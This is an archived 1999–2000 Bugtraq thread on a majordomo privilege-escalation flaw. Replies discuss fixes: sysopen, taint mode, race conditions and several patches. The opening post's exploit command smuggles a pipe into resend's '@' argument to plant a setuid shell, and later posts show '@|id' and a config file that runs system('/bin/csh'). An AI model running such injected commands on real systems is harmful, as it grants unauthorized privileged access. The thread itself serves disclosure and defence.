4620928 1999-12-29  07:37  /82 rader/ Postmaster
Mottagare: Bugtraq (import) <9069>
Ärende: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Message-ID:  <19991229024744.23364.qmail@nwcst292.netaddress.usa.net>
Date:         Tue, 28 Dec 1999 20:47:44 CST
Reply-To: Brock Tellier <btellier@USA.NET>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Brock Tellier <btellier@USA.NET>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by samantha.lysator.liu.se id HAA06340

OVERVIEW
A vulnerability in majordomo allows local users to gain elevated
privileges.

BACKGROUND
I've only tested the version of majordomo which comes with UnixWare 
7.1 which is 1.94.4.  This vulnerability may or not still be present 
in newer versions of majordomo, but it exists on the default UW7.1
installation.

Thanks to rain.forest.puppy for his paper on how to exploit CGI/perl
scripts, as it helped me out in this exploit.  Grab it at
http://www.wiretrip.net/rfp/p/doc.asp?id=6&iface=2

DETAILS
The majordomo wrapper allows users to run programs in the
/usr/local/majordomo directory with the uid of owner and the gid of
daemon.  The permissions for wrapper are:

-rwsr-xr-x    1 root     daemon         6464 Jan  4  1999
/usr/local/majordomo/wrapper

but wrapper immediatly setuid()'s and setgid()'s to owner:daemon
before execing the wrapped program.

A vulnerability in "/usr/local/majordomo/resend" will allow us to
execute arbitrary commands with our elevated privileges.  The
following code snippet appears in resend, a perl script:

-snip-

# If the first argument is "@filename", read the real arguments
# from "filename", and shove them onto the ARGV for later processing
# by &Getopts()
#
if ($ARGV[0] =~ /^\@/) {
    $fn = shift(@ARGV);
    $fn =~ s/^@//;
    open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");

-snip-

As you can see, if our first argument to resend starts with a "@", 
resend will attempt to open() the filename.  However, open() can 
also be used to run programs if the first argument to open() begins 
with a pipe "|".  If our first argument is "@|id", resend will run 
the program "id" with full privileges.

EXPLOIT

Our exploit is simple:

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x    1 owner    daemon       361688 Dec 29 06:26 /tmp/xnec

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net


____________________________________________________________________
Get free email and a permanent address at
http://www.netaddress.com/?N=1
(4620928) ------------------------------------------(Ombruten)

4623567 1999-12-30  02:16  /35 rader/ Postmaster
Mottagare: Bugtraq (import) <9075>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.SUN.4.10.9912290949330.22561-100000@westnet.com>
Date:         Wed, 29 Dec 1999 09:52:33 -0500
Reply-To: "Christopher X. Candreva" <chris@WESTNET.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: "Christopher X. Candreva" <chris@WESTNET.COM>
X-To:         Brock Tellier <btellier@USA.NET>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <19991229024744.23364.qmail@nwcst292.netaddress.usa.net>

On Tue, 28 Dec 1999, Brock Tellier wrote:

> but wrapper immediatly setuid()'s and setgid()'s to owner:daemon before
> execing the wrapped program.

Bugs in resend aside, this appears to be an incorrect configuration
of wrapper.  majordomo should have it's own group as well as user,
and it should change to that group, not daemon. This is according to
Doc/FAQ in the Majordomo 1.94.4 distribution.

The whole point of the wrapper and unique uid/gid is to limit the
effect of such bugs.

-Chris


==========================================================
Chris Candreva  -- chris@westnet.com -- (914) 967-7816
WestNet Internet Services of Westchester
http://www.westnet.com/
(4623567) ------------------------------------------(Ombruten)

4623581 1999-12-30  02:26  /47 rader/ Postmaster
Mottagare: Bugtraq (import) <9076>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-ID:  <199912291530.RAA27325@sirppi.helsinki.fi>
Date:         Wed, 29 Dec 1999 17:30:15 +0200
Reply-To: Taneli Huuskonen <huuskone@CC.HELSINKI.FI>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Taneli Huuskonen <huuskone@CC.HELSINKI.FI>
X-To:         "Todd C. Miller" <Todd.Miller@COURTESAN.COM>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <199912290703.AAA05209@xerxes.courtesan.com> from "Todd C 
             Miller" at "Dec 29, 1999 00:03:01 am"

-----BEGIN PGP SIGNED MESSAGE-----

"Todd C. Miller" <Todd.Miller@COURTESAN.COM> wrote:

> For those using perl 5.x, you can use sysopen() instead of the "magic"
> perl open() to fix this.

I'm afraid that wouldn't help much, as you can supply any pathname as
the -C (configuration file) argument:

	/path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl

I tested this with version 1.94.1, but the same behaviour seems to be
there in 1.94.4, as far as I can tell by the source.

Taneli Huuskonen

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQB1AwUBOGoorAUw3ir1nvhZAQF31gL9HRxD8LOVsilgTuj5iRRTHdhI0cGS7AF/
cBzVkofDCcu4UamxZj7weOqK//EbHPjEuFE7ABW4sb4CHXigA0rVuc/B2QKntX7A
UmceOIjDSU8iVj5FqFkbo9u3uysC8ngl
=Iy7+
-----END PGP SIGNATURE-----
--
I don't   | All messages will be PGP signed,  | Fight for your right to
speak for | encrypted mail preferred.  Keys:  | use sealed envelopes.
the Uni.  | http://www.helsinki.fi/~huuskone/ | http://www.gilc.org/
(4623581) ------------------------------------------

4623608 1999-12-30  02:59  /61 rader/ Postmaster
Mottagare: Bugtraq (import) <9079>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Sender: spidey@anarcat.dyndns.org
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.BSF.3.96.991229111930.4269B-100000@anarcat.dyndns.org>
Date:         Wed, 29 Dec 1999 11:29:03 -0500
Reply-To: beaupran@iro.umontreal.ca
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Spidey <spidey@iro.umontreal.ca>
X-To:         Brock Tellier <btellier@USA.NET>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <19991229024744.23364.qmail@nwcst292.netaddress.usa.net>

It would be important to note that on POSIX systems, the wrapper is
compiled to setuid() to the majordomo user, so this won't give a root
shell...

On other systems, you are advised to install majordomo suid
'majordomo' instead of root.

From the "INSTALL" file:

3) Edit the Makefile, defining where Perl and the C compiler are, the
   Majordomo home directory (chosen in step 2), the location of the
   manual pages, the user and group that Majordomo will run under, and
   the permissions for the various files and directories. If running on
   a non-POSIX system, comment out the POSIX SECTION in the Makefile.
   Under POSIX, wrapper must be setuid "root", even if the programs will
   be running as something other than "root" (i.e., "daemon"), or it
   won't work. The symptom of this is that Perl starts complaining about
   security violations and "unsafe usages".

Hum... In fact, it is not really written clearly that one non-POSIX
system should not install the wrapper suid root, but that's how I see
it since:

#ifdef POSIX_GID
    setgid(POSIX_GID);
#else
    setgid(getegid());
#endif

#ifdef POSIX_UID
    setuid(POSIX_UID);
#else
    setuid(geteuid());
#endif

I think I will warn majordomo about this...

AnarCat


Si l'image donne l'illusion de savoir
C'est que l'adage pretend que pour croire,
L'important ne serait que de voir

Lofofora
(4623608) ------------------------------------------(Ombruten)

4623615 1999-12-30  03:12  /50 rader/ Postmaster
Mottagare: Bugtraq (import) <9080>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.20.9912291615411.6601-100000@corellia.edlund.org>
Date:         Wed, 29 Dec 1999 16:20:38 +0100
Reply-To: Henrik Edlund <henrik@EDLUND.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Henrik Edlund <henrik@EDLUND.ORG>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <199912291455.HAA06968@xerxes.courtesan.com>

> - -snip-
>
> # If the first argument is "@filename", read the real arguments
> # from "filename", and shove them onto the ARGV for later processing
> # by &Getopts()
> #
> if ($ARGV[0] =~ /^\@/) {
>     $fn = shift(@ARGV);
>     $fn =~ s/^@//;
>     open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
>
> - -snip-

This security problem is as common as Perl scripts. Perl
programmers should always specify for open what they want to do
(read/write) and just not be lazy and skip that when they want to
read. A simple fix like:

open(AV, "< $fn") || die("open(AV, \"< $fn\"): $!\nStopped");

should fix this problem. As we specify that we are reading by
using the < (less than) the script will simple choke and say that
it can't open the filename starting with a | (pipe), instead of
running the filename. There is no need, I believe, to use the
sysopen function as someone else suggested earlier.

I believe this security hole has been covered in some other
advisory concerning all Perl (especially CGI) scripts.

--
Henrik Edlund
http://www.edlund.org/

  "They were in the wrong place at the wrong time.
Naturally they became heroes."
                  Leia Organa of Alderaan, Senator
(4623615) ------------------------------------------

4623636 1999-12-30  03:41  /49 rader/ Postmaster
Mottagare: Bugtraq (import) <9082>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.10.9912291022170.25584-100000@koala.towery.com>
Date:         Wed, 29 Dec 1999 10:28:32 -0600
Reply-To: Brock Sides <bsides@TOWERY.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Brock Sides <bsides@TOWERY.COM>
X-To:         "Todd C. Miller" <Todd.Miller@COURTESAN.COM>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <199912290703.AAA05209@xerxes.courtesan.com>

A note to anybody applying this, via patch or otherwise. Don't keep
the original resend lying around in the majordomo directory: wrapper
assumes everything in that directory is secure, and will gladly
execute it.

[brock@o2 brock]$ /usr/freeware/majordomo/wrapper resend.orig '@|id'
uid=1126(majordomo) gid=1(daemon)
resend: must specify '-l list' at
/usr/freeware/majordomo-1.94.4/resend.orig line 78.

--
Brock Sides
Unix Systems Administration
Towery Publishing
bsides@towery.com

On Wed, 29 Dec 1999, Todd C. Miller wrote:

> For those using perl 5.x, you can use sysopen() instead of the "magic"
> perl open() to fix this.
>
>  - todd
>
> --- resend	Thu Aug 19 10:12:03 1999
> +++ resend+	Tue Dec 28 23:55:39 1999
> @@ -58,7 +58,7 @@
>  if ($ARGV[0] =~ /^\@/) {
>      $fn = shift(@ARGV);
>      $fn =~ s/^@//;
> -    open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
> +    sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped");
>      undef($/);	# set input field separator
>      $av = <AV>;	# read whole file into string
>      close(AV);
>
(4623636) ------------------------------------------(Ombruten)

4623660 1999-12-30  05:03  /121 rader/ Postmaster
Mottagare: Bugtraq (import) <9086>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="DKU6Jbt7q3WqK7+M"
Message-ID:  <19991229172230.B3278@monad.swb.de>
Date:         Wed, 29 Dec 1999 17:22:30 +0100
Reply-To: Olaf Kirch <okir@MONAD.SWB.DE>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Olaf Kirch <okir@MONAD.SWB.DE>
X-To:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <19991229024744.23364.qmail@nwcst292.netaddress.usa.net>; fro 
             btellier@USA.NET on Tue, Dec 28, 1999 at 08:47:44PM -0600

--DKU6Jbt7q3WqK7+M
Content-Type: text/plain; charset=us-ascii

While browsing the majordomo lists trying to find out if anyone
is taking care of this issue, I came across another that's in their
archive (appended below).

The comment of Dave Wolfe was that you shouldn't let untrusted users
run programs on his majordomo server.

Olaf
--
Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.de    +-------------------- Why Not?! -----------------------
         UNIX, n.: Spanish manufacturer of fire extinguishers.

--DKU6Jbt7q3WqK7+M
Content-Type: message/rfc822; charset=us-ascii
Content-Disposition: attachment; filename=cf-flaw

From majordomo-workers-owner  Fri Dec  3 13:13:01 1999
Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA00667; Fri, 3 Dec 1999 12:57:46 -0800 (PST)
Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA00657 for majordomo-workers@greatcircle.com; Fri, 3 Dec 1999 12:57:44 -0800 (PST)
Received: from tirin.openworld.co.uk (tirin.openworld.co.uk [194.207.107.233]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA13922 for <majordomo-workers@greatcircle.com>; Thu, 2 Dec 1999 13:55:01 -0800 (PST)
Received: from localhost (shevek@localhost)
	by tirin.openworld.co.uk (8.9.3/8.9.3) with ESMTP id WAA03319
	for <majordomo-workers@greatcircle.com>; Thu, 2 Dec 1999
22:00:48 GMT Date: Thu, 2 Dec 1999 22:00:48 +0000 (GMT) From: Shevek
<shevek@anarres.org> X-Sender: shevek@tirin.openworld.co.uk To:
majordomo-workers@greatcircle.com Subject: $cf Security flaw
Message-ID:
<Pine.LNX.4.10.9912022150430.1186-100000@tirin.openworld.co.uk>
MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender:
majordomo-workers-owner@GreatCircle.COM Precedence: bulk Status: RO
Content-Length: 1640 Lines: 61

I can get majordomo privelidges as a user.

shevek@tirin ~$ cat foo.pl
system("/bin/csh");
shevek@tirin ~$ /usr/local/majordomo/wrapper majordomo -C /home/shevek/foo.pl
%
%whoami
majordom

root@tirin /usr/local/majordomo# ls -ld .
drwxr-x--x   6 majordom daemon       1024 Dec  2 21:49 ./
root@tirin /usr/local/majordomo# ls -l wrapper
-rwsr-xr-x   1 root     daemon       6630 Jul 12 11:21 wrapper*

The lines in Majordomo (I found the bug by simple inspection, it's
also in resend)

$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";

while ($ARGV[0]) {      # parse for config file or default list
    if ($ARGV[0] =~ /^-C$/i) {  # sendmail v8 clobbers case
        $cf = $ARGV[1];
        shift(@ARGV);
        shift(@ARGV);
    } elsif ($ARGV[0] eq "-l") {
        $deflist = $ARGV[1];
        shift(@ARGV);
        shift(@ARGV);
    } else {
        die "Unknown argument $ARGV[0]\n";
    }
}
if (! -r $cf) {
    die("$cf not readable; stopped");
}

require "$cf";

Am I doing something wrong, or is this a general flaw? Can I simply
disable all the possible methods of setting $cf without breaking other
things? I haven't had time to inspect the system at any length, I just
glanced at it.

I am not on any greatcircle mailing lists, I would appreciate replies
to my own address if there is discussion on this subject.

Majordomo version 1.94.4
Perl 5.005_03

Ta.

S.

--
Shevek
GM/CS/MU -d+ H+>++ s+: !g p2 au0 !a w+++ v-(---) C++++$ UL++++$ UB+
US+++$ UI+++$ P+>++++ L++++$ 3+ E--- N K !W(-----) M(-) !V -po+ Y+
t+ 5++ !j !R G' !tv b+++ D++ B--- e+ u+* h++ f? r-- n---- y?
Recent UH+>++ UO+ UC++ U?+++ UV++ and collecting.




--DKU6Jbt7q3WqK7+M--
(4623660) ------------------------------------------(Ombruten)

4625023 1999-12-30  19:07  /52 rader/ Postmaster
Mottagare: Bugtraq (import) <9088>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <386AC27A.A4C31276@nodc.noaa.gov>
Date:         Wed, 29 Dec 1999 21:24:58 -0500
Reply-To: jogata@NODC.NOAA.GOV
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Jefferson Ogata <jogata@NODC.NOAA.GOV>
Organization: National Oceanographic Data Center
X-To:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM

Henrik Edlund wrote:
[majordomo Perl vulnerability discussion snipped]
> This security problem is as common as Perl scripts. Perl
> programmers should always specify for open what they want to do
> (read/write) and just not be lazy and skip that when they want to
> read. A simple fix like:
>
> open(AV, "< $fn") || die("open(AV, \"< $fn\"): $!\nStopped");
>
> should fix this problem. As we specify that we are reading by
> using the < (less than) the script will simple choke and say that
> it can't open the filename starting with a | (pipe), instead of
> running the filename. There is no need, I believe, to use the
> sysopen function as someone else suggested earlier.
>
> I believe this security hole has been covered in some other
> advisory concerning all Perl (especially CGI) scripts.

Perl programmers should always use the taint flag (-T), full warnings
(-w), and the strict module, and just not be lazy, period! These
should be considered mandatory in code that will be distributed as
part of any automated system, regardless of setuid execution. With
taint enabled, the programmer would have had to define the allowable
range of arguments by untainting them, and this problem would not
exist.

Taint is there. Use it! Reliance on filename semantics for security
is not the Proper Way.

Also, require 5.004_05 or newer. Unfortunately, 5.004_04 has a
somewhat obscure taint bug.

Happy new year!

-- Jefferson Ogata <jogata@nodc.noaa.gov> National Oceanographic Data
Center You can't step into the same river twice. -- Herakleitos
(4625023) ------------------------------------------(Ombruten)

4625039 1999-12-30  19:20  /73 rader/ Postmaster
Mottagare: Bugtraq (import) <9089>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.20.9912300436140.10698-100000@corellia.edlund.org>
Date:         Thu, 30 Dec 1999 04:37:36 +0100
Reply-To: Henrik Edlund <henrik@EDLUND.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Henrik Edlund <henrik@EDLUND.ORG>
X-To:         Taneli Huuskonen <huuskone@CC.HELSINKI.FI>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <199912291530.RAA27325@sirppi.helsinki.fi>

On Wed, 29 Dec 1999, Taneli Huuskonen wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> "Todd C. Miller" <Todd.Miller@COURTESAN.COM> wrote:
>
> > For those using perl 5.x, you can use sysopen() instead of the "magic"
> > perl open() to fix this.
>
> I'm afraid that wouldn't help much, as you can supply any pathname as
> the -C (configuration file) argument:
>
> 	/path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl
>
> I tested this with version 1.94.1, but the same behaviour seems to be
> there in 1.94.4, as far as I can tell by the source.

This patch should take care of that problem:

--- majordomo.old       Sat Oct  2 02:30:30 1999
+++ majordomo   Thu Dec 30 04:34:25 1999
@@ -44,6 +44,25 @@
     die("$cf not readable; stopped");
 }

+# Check if the cf file is owned by effective uid
+if ((stat($cf))[4] != $>) {
+    die("$cf not owned by effective uid; stopped");
+}
+
+# Check if the cf file is owned by effective gid
+$cfgid = (stat($cf))[5];
+$inlist = 0;
+foreach (split(/ /, $))) {
+    if ($cfgid == $_) {
+       $inlist = 1;
+       last;
+    }
+}
+if (! $inlist) {
+   die("$cf not owned by effective gid; stopped");
+}
+
+# Now we can read and execute the cf file
 require "$cf";

 # Go to the home directory specified by the .cf file


Comments?

--
Henrik Edlund
http://www.edlund.org/

  "They were in the wrong place at the wrong time.
Naturally they became heroes."
                  Leia Organa of Alderaan, Senator
(4625039) ------------------------------------------

4625164 1999-12-30  20:24  /50 rader/ Postmaster
Mottagare: Bugtraq (import) <9093>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.BSF.4.02A.9912291914320.11925-100000@leet.k-r4d.com>
Date:         Wed, 29 Dec 1999 19:28:40 -0700
Reply-To: Coolio <coolio@K-R4D.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Coolio <coolio@K-R4D.COM>
X-To:         Taneli Huuskonen <huuskone@CC.HELSINKI.FI>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <199912291530.RAA27325@sirppi.helsinki.fi>

On Wed, 29 Dec 1999, Taneli Huuskonen wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> "Todd C. Miller" <Todd.Miller@COURTESAN.COM> wrote:
>
> > For those using perl 5.x, you can use sysopen() instead of the "magic"
> > perl open() to fix this.
>
> I'm afraid that wouldn't help much, as you can supply any pathname as
> the -C (configuration file) argument:
>
> 	/path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl
>
> I tested this with version 1.94.1, but the same behaviour seems to be
> there in 1.94.4, as far as I can tell by the source.
>
> Taneli Huuskonen
>

There are numerous holes in majordomo's scripts. Most of them allow
you to specify an alternate .cf file, and that file is executed as
majordomo.daemon or majordomo.majordomo. A FreeBSD box I was doing
testing on had it running as group daemon, as INSTALL suggested, and
because mrtg was group daemon and 775 instead of 755 (I'm not sure if
that's how mrtg is installed by default) and mrtg is crontabbed to
run as root every 5 minutes, this tiny hole in majordomo gives root
to any local users.

To continue using majordomo I recommend a) fixing the open() hole
Brock Tellier found, and b) removing the ability to specify an
alternate .cf file from all the majordomo scripts.

Is there a safe way to allow users to specify an alternate
majordomo.cf?

- Coolio
(4625164) ------------------------------------------(Ombruten)

4625202 1999-12-30  20:46  /29 rader/ Postmaster
Mottagare: Bugtraq (import) <9094>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.0i
Message-ID:  <19991229233914.K758@perlsupport.com>
Date:         Wed, 29 Dec 1999 23:39:14 -0800
Reply-To: Chip Salzenberg <chip@VALINUX.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chip Salzenberg <chip@VALINUX.COM>
X-To:         Henrik Edlund <henrik@EDLUND.ORG>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <Pine.LNX.4.20.9912291615411.6601-100000@corellia.edlund.org> 
             from henrik@EDLUND.ORG on Wed, Dec 29, 1999 at 04:20:38PM +0100

According to Henrik Edlund:
> There is no need, I believe, to use the sysopen function as someone
> else suggested earlier.

But sysopen() is a simpler approach that eliminates all such concerns,
and adds robustness.  Simply prepending "< " is not enough to work in
the presence of, say, filenames that begin with whitespace.

PS: I added sysopen() to Perl 5.4.  :-)
--
Chip Salzenberg             - a.k.a. -              <chip@valinux.com>
     "Fleagal.  Bingo.  Drooper.  Snork.  They're cops."   //MST3K
(4625202) ------------------------------------------

4626404 1999-12-31  09:07  /39 rader/ Postmaster
Mottagare: Bugtraq (import) <9103>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <386C1759.2E59B346@hem.passagen.se>
Date:         Fri, 31 Dec 1999 03:39:21 +0100
Reply-To: hno@HEM.PASSAGEN.SE
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Henrik Nordstrom <hno@HEM.PASSAGEN.SE>
X-To:         Henrik Edlund <henrik@EDLUND.ORG>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM

Henrik Edlund wrote:

> > I'm afraid that wouldn't help much, as you can supply any pathname as
> > the -C (configuration file) argument:
> >
> >       /path/to/majordomo/wrapper resend -l foobar -C /tmp/evilhack.pl
> >
> > I tested this with version 1.94.1, but the same behaviour seems to be
> > there in 1.94.4, as far as I can tell by the source.
>
> This patch should take care of that problem:


Not quite. Your patch can be fooled by simple link trickery as there
is a race window between your check and the parsing of the
configuration file.

A better way is to stat the filehandle. This guarantees (on system
supporting fstat) that you get the information on the file about to be
read in rather than the information of a filename which may or may not
be the same file which is being read in.

--
Henrik Nordstrom
(4626404) ------------------------------------------(Ombruten)

4626515 1999-12-31  11:02  /47 rader/ Postmaster
Mottagare: Bugtraq (import) <9107>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Hi-To-All-My-Friends-In-Domestic-Surveillance: hi there, sports fans  :)
Message-ID:  <19991230181626.A24928@noc.untraceable.net>
Date:         Thu, 30 Dec 1999 18:16:26 -0500
Reply-To: Andrew Brown <atatat@atatdot.net>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Andrew Brown <atatat@atatdot.net>
X-To:         Henrik Edlund <henrik@EDLUND.ORG>
X-cc:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <Pine.LNX.4.20.9912300436140.10698-100000@corellia.edlund.org> 
             from henrik@EDLUND.ORG on Thu, Dec 30, 1999 at 04:37:36AM +0100

>This patch should take care of that problem:
>
>--- majordomo.old       Sat Oct  2 02:30:30 1999
>+++ majordomo   Thu Dec 30 04:34:25 1999
>@@ -44,6 +44,25 @@
>     die("$cf not readable; stopped");
> }
>
>+# Check if the cf file is owned by effective uid
>+if ((stat($cf))[4] != $>) {
>+    die("$cf not owned by effective uid; stopped");
>+}
>...
>Comments?

hmm...race condition?

it would really be better (in this vein) to (a) open the config file,
(b) fstat it (once, not twice) and (c) then read and eval the code
rather using require (since you can't "require" a file handle).

of course...using a config file or perl is nice, since you *can*
simply require it, but a parsed config file that just sets variables
is better since it implicitly disallows attacks like this.

--
|-----< "CODE WARRIOR" >-----|
codewarrior@daemon.org             * "ah!  i see you have the internet
twofsonet@graffiti.com (Andrew Brown)                that goes *ping*!"
andrew@crossbar.com       * "information is power -- share the wealth."
(4626515) ------------------------------------------

4639854 2000-01-04  22:53  /256 rader/ Postmaster
Mottagare: Bugtraq (import) <9150>
Ärende: Re: majordomo local exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Message-ID:  <1000103163835.ZM243070@coleen.arsc.edu>
Date:         Mon, 3 Jan 2000 16:38:35 +0000
Reply-To: Dale Clark <clark@ARSC.EDU>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Dale Clark <clark@ARSC.EDU>
X-To:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM

  The following patch, built upon code and suggestions submitted by
Henrik Edlund, Henrik Nordstrom, and Andrew Brown, is intended to render
safe the config file requires, in the seven scripts which use them, in
the Majordomo 1.94.4 home directory. It also incorporates Todd Miller's
patch of Dec. 29.
  Basically, it replaces each "require $cf" with the following:

if (not sysopen CONFIG,$cf,O_RDONLY)
{
  die sprintf qq|Unable to sysopen config file "$cf"%s.\n|,$! ? ": $!" : '';
}
elsif ((stat CONFIG)[4] != $>)
{
  die qq|Config file "$cf" not owned by effective UID.\n|;
}
elsif (eval(join '',<CONFIG>),$@)
{
  die qq|Unable to eval "$cf": $@.\n|;
}
else
{
  close CONFIG;
}

